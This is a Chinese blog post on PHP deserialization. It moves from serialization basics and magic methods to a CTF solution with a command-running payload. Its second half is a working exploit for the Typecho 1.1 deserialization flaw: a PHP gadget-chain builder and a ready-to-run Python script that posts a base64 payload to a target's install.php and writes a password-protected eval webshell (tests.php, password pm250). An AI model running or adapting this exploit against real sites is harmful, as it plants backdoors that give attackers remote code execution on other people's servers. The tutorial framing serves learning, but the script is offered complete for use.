初探PHP反序列化

什麼是序列化和反序列化?

<?php
/********
 * 序列化的作用:用於將對象進行轉儲
 *可以將對象轉換成字符串,但是僅保留對象裏的成員變量,不保留函數方法
 * 序列化函數:serialize    反序列化函數:unserialize
 */
class Serialize{
    public $a="Astring";
    protected $b=array("b"=>"String");
    private $c="Cstring";

    public function index(){
        return "this is a test";
    }
}
$serialize=new Serialize();
var_dump(serialize($serialize));
/**序列化返回結果
 * string 'O:9:"Serialize":3:{s:1:"a";s:7:"Astring";s:4:"�*�b";s:7:"Bstring";s:12:"�Serialize�c";s:7:"Cstring";}' (length=101)
 * 其中:O代表對象,:9代表對象名稱有9各字符,:"serialize"表示對象名稱,:3表示對象中有三個成員。
 * 接着括號裏面的,因爲三個變量屬性不同,因此結果也不同。
 * 第一個成員:s:1:"a";s:7:"Astring";
 * 變量有變量名和變量值兩部分,因此序列化過程需要將兩個變量都進行轉換。
 * 關鍵注意第二個和第三個變量,因爲這兩個變量屬於保護和私有變量,爲了進行區別添加一些修飾符號:
 * 其中protected屬性添加  %00*%00
 * private 添加  %00類名%00
 * %00表示null
 */
/**反序列化返回結果
 * object(Serialize)[2]
 *    public 'a' => string 'Astring' (length=7)
 *    protected 'b' => string 'Bstring' (length=7)
 *    private 'c' => string 'Cstring' (length=7)
 * 類成員被還原,由於方法沒有保存,因此無法還原
 */
var_dump(unserialize(serialize($serialize)));

關於PHP類的幾個魔術方法:

<?php
/****
 * 關於序列化與反序列化的魔術方法
 *__construct:當一個對象創建時被調用
 *__destruct:當一個對象銷燬時被調用
 *__toString:當一個對象被當作一個字符串使用
 *__sleep:在對象被序列化之前運行
 *__wakeup:在對象被反序列化之後調用
 */
class Magic{
    public function __construct()
    {
        echo "construct run<br>";
    }

    public function __destruct()
    {
        echo "destruct run<br>";
        // TODO: Implement __destruct() method.
    }

    public function __toString()
    {
        echo  "toString run<br>";
        return  "return toString run<br>";
        // TODO: Implement __toString() method.
    }

    public function __sleep()
    {
        echo "sleep run<br>";
        return array();
        // TODO: Implement __sleep() method.
    }

    public function __wakeup()
    {
        echo "wakeup run<br>";
        // TODO: Implement __wakeup() method.
    }
}
/**/
echo "創建一個對象,__construct構造方法被執行<br>";
$magic=new Magic();

/**/
echo "<hr>序列化一個對象,先執行__sleep方法<br>";
$sMagic=serialize($magic);

/**/
echo "<hr>反序列化一個對象,先反序列化,再執行__wakeup<br>";
$unMagic=unserialize($sMagic);

/**/
echo "<hr>把magic對象當作字符串使用,執行__toString方法<br>";
$string="just a test ".$magic;
echo $string;

/**/
echo "<hr>程序運行結束,自動銷燬,執行__destruct方法<br>";

/***運行結果
 *
創建一個對象,__construct構造方法被執行
construct run
===================================================================
序列化一個對象,先執行__sleep方法
sleep run
===================================================================
反序列化一個對象,先反序列化,再執行__wakeup
wakeup run
===================================================================
把magic對象當作字符串使用,執行__toString方法
toString run
just a test return toString run
===================================================================
程序運行結束,自動銷燬,執行__destruct方法
destruct run
destruct run
 *
 * 通過上面的栗子可以知道這幾個魔術方法的運行順序與調用方式1
 */

常見一些魔術方法:

__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷燬時觸發
__call() //在對象上下文中調用不可訪問的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取數據
__set() //用於將數據寫入不可訪問的屬性
__isset() //在不可訪問的屬性上調用isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字符串使用時觸發
__invoke() //當腳本嘗試將對象調用爲函數時觸發

一道CTF題初探反序列化:

<?php
//error_reporting(0);
class demo{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echos($host){
        echo $host;
        system($host);
    }
    function __destruct(){
        if (in_array($this->method, array("echos"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
    if($i===1) {
        $i++;
        $$key = $value;
    }
    else{
        break;
    }
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                echo $come;
                unserialize($come);
            }
        }
        else {
            echo "<br>think about it<br>";
        }
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
/**
 * 解題思路:首先通過變量覆蓋觸發58行的unserialize函數
 * 然後通過反序列化創建一個demo類的對象,然後通過__wakeup方法進行變量賦值,最後通過__destruct函數回調echos函數
 */
?>


在這裏插入圖片描述

關於payload有一點要說明:private類型的成員反序列化之後會添加區別符號,所以payload的原始亞子是這個:
come=O:4:"demo":2:{s:12:"%00demo%00method";s:5:"echos";s:10:"%00demo%00args";a:1:{i:0;s:4:"&dir";}}
%00的作用上面有具體解釋。

typecho1.1反序列化漏洞學習:
參考博客:
https://www.freebuf.com/vuls/152058.html
https://p0sec.net/index.php/archives/114/
學會了啥:對象裏面嵌套對象,就可以反覆創建對象,執行魔術方法。
在這裏插入圖片描述
在這裏插入圖片描述
執行payload過程中會出現數據庫配置錯誤的提示,但實際代碼已經執行成功,換成文件寫入的代碼:

class Typecho_Request{
    private $_filter=array("assert");
    private $_params=array("screenName"=>"file_put_contents('p0.php','123123')");
}

class Typecho_Feed{
    private $_type="ATOM 1.0";
    private $_charset="UTF-8";
    private $_lang="zh";
    private $_items=array();
    public function __construct()
    {
        $this->_items[]=array(
			"author"=>new Typecho_Request,
			"title"=>"11",
			"link"=>"22",
			"date"=>"33"
		);
    }
}
$exp=array("adapter"=>new Typecho_Feed(),"prefix"=>"typecho_");
echo base64_encode(serialize($exp));

在這裏插入圖片描述

在這裏插入圖片描述
檢測腳本:

# -*-coding:utf-8 -*-
"""
typecho 1.1反序列化漏洞利用腳本
"""
import requests
from optparse import OptionParser  #生成幫助文檔
from urllib import parse

#漏洞點檢測,是否存在install.php
def is_install(pathUrl,headers):
    installPath="/install.php"
    finalPath=pathUrl+installPath
    response=requests.get(url=finalPath,headers=headers)
    if response.status_code == 200:
        return True
    else:
        return False

#設置payload
def setPayload():
    payload="YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyM" \
            "joiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVja" \
            "G9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NDp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxd" \
            "WVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OY" \
            "W1lIjtzOjEyNjoiZmlsZV9wdXRfY29udGVudHMoYmFzZTY0X2RlY29kZShkR1Z6ZEhNdWNHaHcpLGJhc2U2NF9kZWNvZGUoUEQ5d2FIQWdaV05vYnlBaW" \
            "FuVnpkQ0JoSUhSbGMzUWlPMEJsZG1Gc0tDUmZVRTlUVkZzbmNHMHlOVEFuWFNrNykpIjt9fXM6NToidGl0bGUiO3M6MjoiMTEiO3M6NDoibGluayI7cz" \
            "oyOiIyMiI7czo0OiJkYXRlIjtzOjI6IjMzIjt9fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ=="
    payloads="""  payload源代碼
<?php
    class Typecho_Request{
        private $_filter=array("assert");
        private $_params=array("screenName"=>"file_put_contents(base64_decode(dGVzdHMucGhw),base64_decode(PD9waHAgZWNobyAianVzdCBhIHRlc3QiO0BldmFsKCRfUE9TVFsncG0yNTAnXSk7))");
    }

    class Typecho_Feed{
        private $_type="ATOM 1.0";
        private $_charset="UTF-8";
        private $_lang="zh";
        private $_items=array();
        public function __construct()
        {
            $this->_items[]=array(
			    "author"=>new Typecho_Request,
			    "title"=>"11",
			    "link"=>"22",
			    "date"=>"33"
		    );
        }
    }
    $exp=array("adapter"=>new Typecho_Feed(),"prefix"=>"typecho_");
    echo base64_encode(serialize($exp));
?>
"""
    return payload

def run(pathUrl,headers,payload):
    finalUrl=pathUrl+"/install.php?finish=a"
    data={
        "__typecho_config":payload
    }
    headers['Cookie']=headers['Cookie']+"; __typecho_config="+payload
    response=requests.post(url=finalUrl,headers=headers,data=data)

    #檢測是否寫入成功:
    finalUrl=pathUrl+"/tests.php"
    response=requests.get(url=finalUrl,headers=headers)
    if response.status_code==200:
        return True
    else:
        return False


def main(pathUrl):
    # url解析url,獲取host和referer
    urls = parse.urlparse(pathUrl)
    hosts = urls.netloc
    referer=pathUrl+"/install.php"
    ##定義header頭
    headers = {
        "Host": "127.0.0.1",
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "PHPSESSID=me0vqml8ioaejov4pti5iajfl2",
    }
    headers["Host"] = hosts
    headers['referer']=referer
    if is_install(pathUrl=pathUrl, headers=headers):
        print("存在install.php文件,嘗試寫入shell文件")
        payload=setPayload()
        if run(pathUrl=pathUrl,headers=headers,payload=payload):
            print("寫入成功,路徑:{path},密碼:{password}".format(path=pathUrl+"/tests.php",password="pm250"))
        else:
            print("自動檢測shell失敗,可以手動寫入或重新嘗試getshell")
    else:
        print("不存在install.php文件,無法利用")
        exit()


if __name__ == '__main__':
    parser=OptionParser()
    parser.add_option("-u","--url",dest="pathUrl",help="請輸入typecho系統路徑")
    (options,args)=parser.parse_args()
    pathUrl=options.pathUrl
    main(pathUrl)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章